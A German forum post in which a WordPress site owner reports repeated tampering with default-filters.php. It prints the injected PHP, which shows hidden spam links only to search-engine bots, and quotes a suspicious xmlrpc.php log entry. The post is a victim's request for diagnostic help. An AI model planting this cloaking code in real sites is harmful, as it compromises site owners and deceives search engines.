Das gibt's doch nicht. :? Ich weiß nicht, ob dies dasselbe Problem ist wie das der anderen Poster hier, aber schon wieder fand sich in meiner wp-includes/default-filters.php ein Filter-Eintrag.
add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16b8466d864eeefd20050625c7775() {
$seau=array("google","yahoo","slurp","msn","live","ask","altavista","aol");
$sebot=""; foreach($seau as $ua) if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; break; }
if(!($sebot==1 && sizeof($_COOKIE)==0)) return;
@include('./wp-includes/class-mail.php');
if(sizeof($wparr)>0){
echo "<div id=\"_wp_footer\">";
foreach($wparr as $k=>$v){
echo "<a href=\"".$v['url']."\" title=\"".ucwords($v['key'])."\">".ucwords($v['key'])."</a>\n";
if($i++==$inum) break;
}
echo "</div>".$_footer;
}
}
Alles anzeigen
Diese Links sehen nur SuMa-Bots, wie man aus dem Code ablesen kann.
Ist dies bei den Betroffenen hier ebenso der Fall? Bei mir scheint es zumindest nicht das Passwort zu sein, sondern "nur" ein Problem, das mir dauernd die wp-includes/default-filters.php geändert wird (CHMOD 644). 
Zum entsprechenden Zeitpunkt bbefindet sich in den Logs folgender Eintrag:
Zitat
194.110.162.23 - - [24/Mar/2008:04:09:37 +0100] "POST /xmlrpc.php?4e505c7c0a7a677f=4c4bd1b268f0ea2d HTTP/1.1" 200 7575 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"